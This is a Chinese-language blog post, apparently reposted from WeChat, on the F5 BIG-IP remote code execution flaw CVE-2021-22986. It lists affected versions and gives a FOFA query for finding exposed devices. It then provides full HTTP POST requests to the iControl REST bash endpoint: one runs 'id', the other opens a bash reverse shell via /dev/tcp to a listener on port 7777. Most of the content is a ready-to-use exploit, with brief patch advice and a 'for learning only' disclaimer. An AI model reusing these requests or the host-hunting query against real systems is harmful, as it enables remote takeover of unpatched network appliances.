漏洞背景
F5 BIG-IP 是美国 F5 公司的一款集成了网络流量管理、应用程序安全管理、负载均衡等功能的应用交付平台。近日，F5发布了F5 BIG-IQ/F5 BIG-IP 代码执行，代码执行的风险声明，F5安全公告更新了BIG-IP，BIG-IQ中的多个严重漏洞
影响版本：
F5 BIG-IP 16.x: 16.1.0.3
F5 BIG-IP 15.x: 15.1.0.4
F5 BIG-IP 14.x: 14.1.2.6
F5 BIG-IP 13.x: 13.1.3.4
F5 BIG-IP 12.x: 12.1.5.2
F5 BIG-IP 11.x: 11.6.5.2
漏洞复现
祭出fofa大法，fofa语法如下
title="BIG-IP®"
利用poc
POST /mgmt/tm/util/bash HTTP/1.1
Host: xxx.xxx.xxx.xxx
Connection: close
Content-Length: 41
Cache-Control: max-age=0
Authorization: Basic YWRtaW46QVNhc1M=
X-F5-Auth-Token:
Upgrade-Insecure-Requests: 1
Content-Type: application/json
{"command":"run","utilCmdArgs":"-c id"}
Burp Suite
反弹nc shell
POST /mgmt/tm/util/bash HTTP/1.1
Host: 18.132.118.224
Connection: close
Content-Length: 94
Cache-Control: max-age=0
Authorization: Basic YWRtaW46QVNhc1M=
X-F5-Auth-Token:
Upgrade-Insecure-Requests: 1
Content-Type: application/json
{
"command":"run",
"utilCmdArgs":"-c 'bash -i >&/dev/tcp/xxx.xxx.xxx.xxx/7777 0>&1'"
}
修复建议
F5官方已发布相关安全更新，用户可更新到安全版本。
下载链接：https://support.f5.com/csp/article/K02566623
特别声明：
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，我不为此承担任何责任。
作者有对此文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者的允许，不得任意修改或者增减此文章内容，不得以任何方式将其用于商业目的。 切勿用于非法，仅供学习参考
原文始发于微信公众号（深夜笔记本）：（CVE-2021-22986）F5 BIG-IP 远程代码执行漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论